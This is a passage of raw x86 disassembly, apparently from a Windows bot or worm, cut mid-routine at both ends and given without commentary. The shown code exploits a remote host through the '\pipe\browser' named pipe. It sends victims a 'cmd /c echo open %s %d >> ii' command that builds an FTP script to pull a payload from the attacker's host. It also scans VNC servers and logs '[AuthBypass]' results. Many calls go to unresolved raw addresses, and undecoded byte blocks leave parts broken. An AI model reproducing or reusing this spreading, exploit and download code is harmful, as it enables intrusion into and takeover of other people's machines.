					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx

loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al

loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db 0B8h	; ╦
		db 0DCh	; э
		db  60h	; `
		db    0
		db    0
		db 0E8h	; Х
		db  78h	; x
		db 0E1h	; А
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0F4h	; Т
		db 0D4h	; т
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0A8h	; ╗
		db 0F7h	; В
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; ш
		db  85h	; ┘
		db 0C0h	; ю
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  7Ch	; |
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0A6h	; ╕
		db 0DFh	; ъ
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; Х
		db 0A7h	; ╖
		db 0DBh	; ш
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  89h	; ┴
		db  85h	; ┘
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ╦
		db  58h	; X
		db 0D1h	; я
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; Х
		db  44h	; D
		db  8Dh	; █
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 26F08DDh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57

loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------

loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432254
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432240
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jnz	short loc_40DB34

loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26508EFh
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321E8[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDCCC
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------

loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_432237+1)

loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321DC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321E4[esi]
		push	7
		add	eax, edi
		push	offset dword_4321D0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432070
		push	eax
		call	sub_41C310
		mov	eax, dword_4321E0[esi]
		add	esp, 30h
		cmp	byte_4321E8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDCC4
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_432200
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------

loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_432200

loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8

loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		call	near ptr 26508EFh
		nop
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77

loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax

loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 26E07ABh
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_40DE4F
		nop
		call	near ptr 2670914h
		cmp	eax, 3E5h
		jnz	loc_40DA50

loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 268016Dh
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1

loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------

loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]

loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi

loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al

loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db  81h	; │
		db 0ECh	; Л
		db 0A0h	; ═
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; Ж
		db  6Ah	; j
		db  10h
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0D6h	; ж
		db 0D6h	; ж
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  0Ch
		db  8Dh	; █
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; г
		db  45h	; E
		db 0F0h	; П
		db    2
		db    0
		db  50h	; P
		db  90h	; ░
		db 0E8h	; Х
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; ╣
		db 0C4h	; д
		db    0
		db    0
		db    0
		db  89h	; ┴
		db  45h	; E
		db 0F4h	; Т
		db 0E8h	; Х
		db  6Bh	; k
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ┴
		db  45h	; E
		db 0F2h	; Р
		db  90h	; ░
		db 0E8h	; Х
		db  37h	; 7
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  8Bh	; ▀
		db 0D8h	; ь
		db  83h	; ┐
		db 0FBh	; Ш
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ©
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ▀
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db 0B8h	; ╦
		db    8
		db  91h	; ▒
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0E0h	; Ю
		db 0ACh	; ╛
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0DFh	; ъ
		db 0CCh	; л
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  88h	; ┬
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; ░
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  38h	; 8
		db 0DAh	; з
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  87h	; ┤
		db 0D0h	; п
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db  8Bh	; ▀
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; ю
		db 0EBh	; К
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db 0E7h	; Г
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; и
		db 0C3h	; ц
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 90000007h, 26202BE8h, 0FB834302h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACE0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4

loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------

loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax

loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_431444o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFE4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------

loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322FC
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146

loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		nop
		call	near ptr 71AB1A6Dh

loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------

loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431448[eax]
		lea	eax, dword_431448[eax]

loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax

loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFBC
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------

loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------

loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax

loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC

loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5

loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax

loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433540
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB024
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------

loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFE4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAFA4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx

loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB03C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------

loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467

loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE5C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch

loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
